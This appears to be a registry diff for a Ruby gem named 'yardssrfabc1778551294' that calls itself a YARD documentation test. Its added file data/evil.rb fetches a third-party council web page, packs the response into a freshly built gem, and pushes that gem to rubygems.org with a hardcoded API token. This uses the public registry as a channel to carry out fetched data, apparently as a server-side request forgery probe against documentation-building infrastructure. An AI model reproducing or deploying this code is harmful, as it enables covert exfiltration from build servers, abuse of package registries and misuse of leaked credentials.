yardssrfabc1778551294 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (5) hide show
  1. checksums.yaml +7 -0
  2. data/evil.rb +16 -0
  3. data/gemspec.gemspec +3 -0
  4. data/lib/probe.rb +3 -0
  5. metadata +41 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: de1911be10f91b1877887f3176328cb2dbaafc36292e335e214116bb335e2dbe
4
+ data.tar.gz: cd147f0ae8cc22b9a2099cacfe2a65d6cc811aafd4f1cd8727e04246351c35d5
5
+ SHA512:
6
+ metadata.gz: cfb957eb3a84142c632effc90d5098538b3dc1d9e8e277c6cfd758e03ec42b8c70b6e3a99e38c012d43ed2386c52b4125b351fa819d2ee6249089cdbb73c015e
7
+ data.tar.gz: bcbcfd5829b34a01369e600732378ba54a44fd42cabfd0ecdfd5164b257171b08cd8e697716ef3c0e44db321bc6d9532e00aeee00dd111bac5710b33b1642ce7
data/evil.rb ADDED
@@ -0,0 +1,16 @@
1
+ require 'net/http'; require 'uri';
2
+ NAME='probeoutabcxx'
3
+ begin
4
+ content=Net::HTTP.get(URI('https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1'))
5
+ rescue=>e; content="ERR FETCH #{e.class}: #{e}"; end
6
+ begin
7
+ # create gem in /tmp
8
+ root='/tmp/outgem'+rand(100000).to_s;Dir.mkdir(root) rescue nil;Dir.mkdir(root+'/lib') rescue nil
9
+ token='rubygems_2158b48b61371d982de926d9b107cf144b9cbbbe53b6bf22'
10
+ spec="Gem::Specification.new do |s|;s.name='#{NAME}';s.version='0.0.1';s.summary='Output gem from yard';s.authors=['me'];s.email='a@b.com';s.files=Dir['lib/**/*'];s.license='MIT';end"
11
+ File.write(root+'/x.gemspec',spec); File.write(root+'/lib/out.txt',content)
12
+ system("cd #{root}; gem build x.gemspec")
13
+ tgz=Dir[root+'/*.gem'][0]
14
+ uri=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(uri,{'Authorization'=>token,'Content-Type'=>'application/octet-stream'}); req.body=File.binread(tgz)
15
+ res=Net::HTTP.start(uri.host,uri.port,use_ssl:true){|h|h.request(req)}
16
+ rescue=>e; end
data/gemspec.gemspec ADDED
@@ -0,0 +1,3 @@
1
+ Gem::Specification.new do |s|
2
+ s.name='yardssrfabc'+ENV.fetch('NAME','xxxx'); s.version='0.0.1'; s.summary='testing yard docs'; s.authors=['Tester']; s.email='abc@example.com'; s.license='MIT'; s.files=Dir['**/*']; s.homepage='https://example.com'
3
+ end
data/lib/probe.rb ADDED
@@ -0,0 +1,3 @@
1
+ # Test gem
2
+ # docs
3
+ module Probe; end
metadata ADDED
@@ -0,0 +1,41 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: yardssrfabc1778551294
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.1
5
+ platform: ruby
6
+ authors:
7
+ - Tester
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ email: abc@example.com
13
+ executables: []
14
+ extensions: []
15
+ extra_rdoc_files: []
16
+ files:
17
+ - evil.rb
18
+ - gemspec.gemspec
19
+ - lib/probe.rb
20
+ homepage: https://example.com
21
+ licenses:
22
+ - MIT
23
+ metadata: {}
24
+ rdoc_options: []
25
+ require_paths:
26
+ - lib
27
+ required_ruby_version: !ruby/object:Gem::Requirement
28
+ requirements:
29
+ - - ">="
30
+ - !ruby/object:Gem::Version
31
+ version: '0'
32
+ required_rubygems_version: !ruby/object:Gem::Requirement
33
+ requirements:
34
+ - - ">="
35
+ - !ruby/object:Gem::Version
36
+ version: '0'
37
+ requirements: []
38
+ rubygems_version: 3.6.7
39
+ specification_version: 4
40
+ summary: testing yard docs
41
+ test_files: []